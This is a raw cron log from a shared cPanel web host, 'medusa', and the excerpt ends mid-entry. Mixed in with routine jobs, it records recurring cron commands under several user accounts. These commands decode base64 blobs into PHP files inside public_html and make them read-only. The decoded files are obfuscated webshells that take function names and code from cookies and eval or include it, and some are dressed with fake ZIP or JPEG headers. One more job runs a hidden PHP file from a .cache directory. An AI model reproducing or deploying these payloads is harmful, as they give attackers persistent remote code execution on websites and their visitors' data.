Jun  7 04:52:01 medusa CROND[25952]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:52:01 medusa CROND[25956]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:52:01 medusa CROND[25957]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:52:01 medusa CROND[25964]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:52:01 medusa CROND[25965]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:52:01 medusa CROND[25966]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:53:02 medusa CROND[27217]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:53:02 medusa CROND[27216]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:53:02 medusa CROND[27218]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:53:02 medusa CROND[27219]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:53:02 medusa CROND[27221]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:53:02 medusa CROND[27222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:53:02 medusa CROND[27224]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:53:02 medusa CROND[27223]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:53:02 medusa CROND[27226]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:53:02 medusa CROND[27227]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:53:02 medusa CROND[27229]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:53:02 medusa CROND[27232]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:54:01 medusa CROND[28548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:54:01 medusa CROND[28554]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:54:01 medusa CROND[28559]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:54:01 medusa CROND[28560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:54:01 medusa CROND[28561]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:54:01 medusa CROND[28562]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:54:01 medusa CROND[28564]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:54:01 medusa CROND[28565]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:54:01 medusa CROND[28567]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:54:01 medusa CROND[28575]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:54:01 medusa CROND[28577]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:54:01 medusa CROND[28578]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 